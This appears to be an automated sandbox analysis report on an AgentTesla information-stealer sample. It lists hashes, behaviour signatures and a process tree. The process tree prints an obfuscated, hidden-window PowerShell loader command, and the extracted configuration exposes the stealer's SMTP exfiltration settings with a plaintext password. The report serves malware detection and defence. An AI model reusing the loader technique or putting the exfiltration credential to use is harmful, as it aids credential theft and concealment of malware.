Analysis
- max time kernel
145s - max time network
152s - platform
windows10-2004_x64 - resource
win10v2004-20240611-en - resource tags
- submitted
12/06/2024, 02:36
General
- Target fd2ed2817b36ad04fda64c952b1a38e9a4cee86a247d0a7e9dfea5bab81b2e82.exe
- Size 630KB
- Sample240612-c3rfdayhld
- SHA256 fd2ed2817b36ad04fda64c952b1a38e9a4cee86a247d0a7e9dfea5bab81b2e82
Malware Config
Extracted
-
Protocol
smtp
-
Host
smtp.gmail.com
-
Port
587
-
Username
-
Password
oadc jzrw bmvr klnl
Extracted
-
agenttesla
-
Protocol
smtp
-
Host
smtp.gmail.com
-
Port
587
-
Username
-
Password
oadc jzrw bmvr klnl
-
Email to
Signatures
- AgentTesla
Agent Tesla is a remote access tool (RAT) written in visual basic.
- Detect packed .NET executables. Mostly AgentTeslaV4. 2 IoCs
- Detects binaries (Windows and macOS) referencing many web browsers. Observed in information stealers. 2 IoCs
- Detects executables referencing Windows vault credential objects. Observed in infostealers 2 IoCs
- Detects executables referencing many confidential data stores found in browsers, mail clients, cryptocurreny wallets, etc. Observed in information stealers 2 IoCs
- Detects executables referencing many email and collaboration clients. Observed in information stealers 2 IoCs
- Detects executables referencing many file transfer clients. Observed in information stealers 2 IoCs
- Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
- Loads dropped DLL 1 IoCs
- Reads WinSCP keys stored on the system 2 TTPs
Tries to access WinSCP stored sessions.
- Reads data files stored by FTP clients 2 TTPs
Tries to access configuration files associated with programs like FileZilla.
- Reads user/profile data of local email clients 2 TTPs
Email clients store some user data on disk where infostealers will often target it.
- Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
- Looks up external IP address via web service 2 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
- Suspicious use of NtCreateThreadExHideFromDebugger 1 IoCs
- Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs
- Suspicious use of SetThreadContext 1 IoCs
- Drops file in Program Files directory 2 IoCs
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Suspicious behavior: EnumeratesProcesses 11 IoCs
- Suspicious behavior: MapViewOfSection 1 IoCs
- Suspicious use of AdjustPrivilegeToken 2 IoCs
- Suspicious use of WriteProcessMemory 11 IoCs
Processes
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C:\Users\Admin\AppData\Local\Temp\fd2ed2817b36ad04fda64c952b1a38e9a4cee86a247d0a7e9dfea5bab81b2e82.exe"C:\Users\Admin\AppData\Local\Temp\fd2ed2817b36ad04fda64c952b1a38e9a4cee86a247d0a7e9dfea5bab81b2e82.exe"1⤵
- Drops file in Program Files directory
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" -windowstyle hidden "$Forretningsforbindelserne=Get-Content 'C:\Users\Admin\AppData\Local\Bridgebuilding\oralizes\indart\Insider\Pigout.Smr';$Sheetwise=$Forretningsforbindelserne.SubString(50997,3);.$Sheetwise($Forretningsforbindelserne)"2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
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C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" "/c set /A 1^^0"3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\Delggeres.exe"C:\Users\Admin\AppData\Local\Temp\Delggeres.exe"3⤵
- Loads dropped DLL
- Suspicious use of NtCreateThreadExHideFromDebugger
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
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-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
Pigout.Smr
Trilogier.rea
Delggeres.exe
__PSScriptPolicyTest_bpqnl0po.2ir.ps1
memory/2024-43-0x0000000000460000-0x00000000016B4000-memory.dmp
memory/2024-50-0x00000000233D0000-0x00000000233DA000-memory.dmp
memory/2024-49-0x00000000232E0000-0x0000000023372000-memory.dmp
memory/2024-48-0x00000000231C0000-0x000000002325C000-memory.dmp
memory/2024-47-0x0000000023160000-0x00000000231B0000-memory.dmp
memory/2024-46-0x0000000000460000-0x00000000004A4000-memory.dmp
memory/4492-34-0x0000000073790000-0x0000000073F40000-memory.dmp
memory/4492-36-0x0000000073790000-0x0000000073F40000-memory.dmp
memory/4492-26-0x0000000007700000-0x0000000007796000-memory.dmp
memory/4492-27-0x0000000006C20000-0x0000000006C3A000-memory.dmp
memory/4492-28-0x0000000006C70000-0x0000000006C92000-memory.dmp
memory/4492-29-0x0000000007D50000-0x00000000082F4000-memory.dmp
memory/4492-8-0x0000000005880000-0x0000000005EA8000-memory.dmp
memory/4492-9-0x0000000073790000-0x0000000073F40000-memory.dmp
memory/4492-24-0x0000000006710000-0x000000000672E000-memory.dmp
memory/4492-31-0x0000000008980000-0x0000000008FFA000-memory.dmp
memory/4492-7-0x0000000005160000-0x0000000005196000-memory.dmp
memory/4492-25-0x0000000006740000-0x000000000678C000-memory.dmp
memory/4492-38-0x0000000073790000-0x0000000073F40000-memory.dmp
memory/4492-37-0x0000000009000000-0x000000000B733000-memory.dmp
memory/4492-6-0x000000007379E000-0x000000007379F000-memory.dmp
memory/4492-41-0x000000007379E000-0x000000007379F000-memory.dmp
memory/4492-42-0x0000000073790000-0x0000000073F40000-memory.dmp
memory/4492-33-0x0000000073790000-0x0000000073F40000-memory.dmp
memory/4492-45-0x0000000073790000-0x0000000073F40000-memory.dmp
memory/4492-23-0x0000000006100000-0x0000000006454000-memory.dmp
memory/4492-13-0x0000000073790000-0x0000000073F40000-memory.dmp
memory/4492-12-0x0000000006090000-0x00000000060F6000-memory.dmp
memory/4492-11-0x0000000006020000-0x0000000006086000-memory.dmp
memory/4492-10-0x0000000005750000-0x0000000005772000-memory.dmp